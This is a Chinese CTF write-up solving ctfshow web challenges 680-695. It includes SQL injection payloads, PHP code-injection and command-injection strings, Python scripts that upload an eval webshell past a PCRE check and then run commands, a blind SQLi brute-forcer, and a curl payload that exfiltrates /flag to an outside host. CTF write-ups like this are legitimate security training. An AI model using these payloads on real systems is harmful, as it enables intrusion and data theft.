ctfshow 大赛原题 680-695

web 680web 681web 682web 683web 684web 685686 无参RCE的感觉687688689690691692693694695

web 680

一开始提示post code to run

payload:

code=phpinfo();

然后测试了一下很多函数被ban了 看phpinfo果然,发现open_dir目录也限制了

直接print_r(scandir(".")) 列出当前目录

再读取就完事了 highlight_file

web 681

burp抓包分析的时候 输入1' or 1=1#

返回的是 '1or1=1'

尝试 \转义

输入 '||1=1#\

等价于

''||1=1#\'

web 682

要求

if(sha256(m)!=="e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d"){
        return alert(e)
    }

但是sha256反向解密不行

所以题目下面拆分了 var k=s.split("-")

第一部分

if(sha256(k[0].substr(0,4))!=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"){
        return alert(e)
    }
    
    if(sha256(k[0].substr(4,8))!=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"){
        return alert(e)
    }

爆破脚本

import hashlib
flag=" "
s="0123456789abcdef"
for i in s:
    for j in s :
        for k in s:
            for l in s:
                string=i+j+k+l
                m=hashlib.sha256(string.encode("utf-8")).hexdigest()
                if(m=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"):
                      print(m)
                      flag+=string
                      print(flag)
                if(m=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"):
                      print(m)
                      flag+=string
                      print(flag)
                      

得到八位ctfshow{592b9d77-}

if(parseInt(k[1][0])!==(c2n('a')-1)){
        return alert(e)
    }
    
if(k[1][1]+k[1][2]+k[1][3]!=='dda'){
        return alert(e)
    }
 if(k[2][1]!=='e'){
        return alert(e)
    }
    
    if(k[2][0]+k[2][2]+k[2][3]!=0x1ae){  0x1ae =430
        return alert(e)
    }

找到c2n函数 发现c2n('a')=10;

所以此时 ctfshow{592b9d77-9dda-4e30}

if(parseInt(k[3][0])!==(c2n('a')-1)){   9
        return alert(e)
    }
​
    if(parseInt(k[3][1])!==parseInt(k[3][3])){ 
        return alert(e)
    }
​
    if(parseInt(k[3][3])*2+c2n('a')!==0x12){ (18-10)/2
        return alert(e)
    }
​
    if(sha224(k[3][2])!=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5'){  a
        return alert(e)
    }

ctfshow{592b9d77-9dda-4e30-944a}

if(st3(k[4])!=='GVSTMNDGGQ2DSOLBGUZA===='){
        return alert(e)
    }
    base32 解密

ctfshow{592b9d77-9dda-4e30-944a-5e64f4499a52}

web 683

(int)("0xxxx")=0;

payload:?秀=0x4F1A01

web 684

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

create_function('$a,$b','return 111')
​
==>
​
function a($a, $b){
    return 111;
}

所以payload

?action=\create_function&arg=}system("cat /secret_you_never_know ");//

web 685

PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌

具体原理在p神

根据回溯最大为100万次 超过则返回false 绕过

from io import BytesIO
import requests
url="http://31cb6c95-d013-462e-828d-b9d5b11e1942.challenge.ctf.show/"
files={
    'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'b' * 1000000)
}
r=requests.post(url,files=files)
for i in range(0,10):
    u=url+'data/{0}.php'.format(i)
    r=requests.post(u,data={'1':'system("cat /secret_you_never_know");'})
    if 'b' in r.text:
        print(r.text)
​

羽师傅脚本

import requests
url="http://3c7c34aa-52d3-48d2-9dec-3679a65588c9.challenge.ctf.show/"
files={
    'file':'<?php eval($_POST[1]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
for i in range(0,10):
    u=url+'data/{0}.php'.format(i)
    r=requests.post(u,data={'1':'system("cat /secret_you_never_know;echo yu22x");'})
    if 'yu22x' in r.text:
        print(r.text)
​

686 无参RCE的感觉

getallheaders是apache中的函数,这里是nginx环境, 所以用get_defined_vars()

方法一:

?code=eval(end(current(get_defined_vars())));&b=phpinfo();

方法二:列目录

正常 print_r(scandir)

print_r(scandir(current(localeconv()))); 

687

payload:

http://3696b171-ef1c-43bc-8d5f-e6fdb623c859.challenge.ctf.show/?ip=127%0acat /flaaag

688

 

大概第一个就是把输入的直接当字符串

第二个的处理我有点懵逼 ,不过如果没过滤 我们要 curl url -F file=@/flag

试着

 

再然后就后面加个点看看

payload :

?url=http://ip:1337/' -F file=@/flag '

689

考点是ssrf 我们传入的参数file必须以http://127.0.0.1/开头,path不能有.. 假设我们传入 ?file=http://127.0.0.1/&path=<?php phpinfo();?> 那么页面会显示如下内容

在这里插入图片描述

如果我们传入的file换成现在的url会发生什么?是不是把这个页面给写进去了 所以payload ?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=a.php

690

691

order by 大小比较盲注

 

 

所以真正的字符是c

写脚本

import requests
​
url="http://deeb3ee4-3bad-42a3-9b5e-c26051eab4ca.challenge.ctf.show/"
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
k=""
for i in range(1,40):
    for j in s:
        l=k+j
        data={
        "username":"' or 1 union select 1,2,'{}' order by 3#".format(l),
        "password":"12"
            }
            
        res=requests.post(url=url,data=data)
        if "</code>admin" in res.text:
            k=k+chr(ord(j)-1)
            print(k)
            break
        
​

692

相等于在传入的字符加上了单引号

;eval($_POST[1]);//  => ';eval($_POST[1]);//'
%00          =>'';eval($_POST[1]);//''

693

远程文件包含即可

694

 

最终形成的路径为

/var/www/html/a.php/.

695

koajs

https://github.com/koajs/koa-body/issues/75

漏洞点在 ctx.request.body.files

如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值